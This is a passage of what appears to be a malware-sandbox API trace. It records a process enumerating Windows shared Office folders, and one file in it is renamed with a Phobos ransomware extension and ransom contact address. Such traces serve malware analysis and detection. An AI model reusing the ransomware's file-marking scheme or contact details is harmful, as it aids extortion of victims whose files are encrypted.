hFindFile=0x894eb8) returned 1 [0148.337] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.337] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0148.337] GetLastError () returned 0x12 [0148.337] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0148.338] FindClose (in: hFindFile=0x895438 | out: hFindFile=0x895438) returned 1 [0148.338] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.338] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0148.338] GetLastError () returned 0x12 [0148.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8951b8 [0148.340] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.340] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0148.340] GetLastError () returned 0x12 [0148.340] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0148.340] GetLastError () returned 0x12 [0148.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8950b8 [0148.342] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.343] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0148.343] GetLastError () returned 0x12 [0148.343] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0148.343] GetLastError () returned 0x12 [0148.343] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0148.343] GetLastError () returned 0x12 [0148.343] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 0 [0148.343] FindClose (in: hFindFile=0x8950b8 | out: hFindFile=0x8950b8) returned 1 [0148.344] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.344] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0148.344] FindClose (in: hFindFile=0x8951b8 | out: hFindFile=0x8951b8) returned 1 [0148.345] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.345] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0148.345] GetLastError () returned 0x12 [0148.345] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895238 [0148.346] FindNextFileW (in: hFindFile=0x895238, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.346] FindNextFileW (in: hFindFile=0x895238, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0148.346] FindClose (in: hFindFile=0x895238 | out: hFindFile=0x895238) returned 1 [0148.346] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.346] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0148.346] GetLastError () returned 0x12 [0148.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895178 [0148.347] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.348] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0148.348] GetLastError () returned 0x12 [0148.348] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0148.348] FindClose (in: hFindFile=0x895178 | out: hFindFile=0x895178) returned 1 [0148.348] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.348] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0148.349] GetLastError () returned 0x12 [0148.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894fb8 [0148.351] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.351] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0148.351] GetLastError () returned 0x12 [0148.351] SetEvent (hEvent=0x50c) returned 1 [0148.351] ResetEvent (hEvent=0x510) returned 1 [0148.351] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0148.352] GetLastError () returned 0x12 [0148.352] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1665101, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xf1665101, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xf1665101, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x382, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 1 [0148.352] GetLastError () returned 0x12 [0148.352] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0148.352] GetLastError () returned 0x12 [0148.352] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0148.352] GetLastError () returned 0x12 [0148.352] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0148.352] GetLastError () returned 0x12 [0148.352] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0148.352] GetLastError () returned 0x12 [0148.353] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0148.353] GetLastError () returned 0x12 [0148.353] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0148.353] GetLastError () returned 0x12 [0148.353] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0148.353] GetLastError () returned 0x12 [0148.353] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0148.353] GetLastError () returned 0x12 [0148.353] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0148.353] GetLastError () returned 0x12 [0148.353] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0148.354] GetLastError () returned 0x12 [0148.354] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0148.354] GetLastError () returned 0x12 [0148.354] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0148.354] GetLastError () returned 0x12 [0148.354] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0148.354] GetLastError () returned 0x12 [0148.354] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, 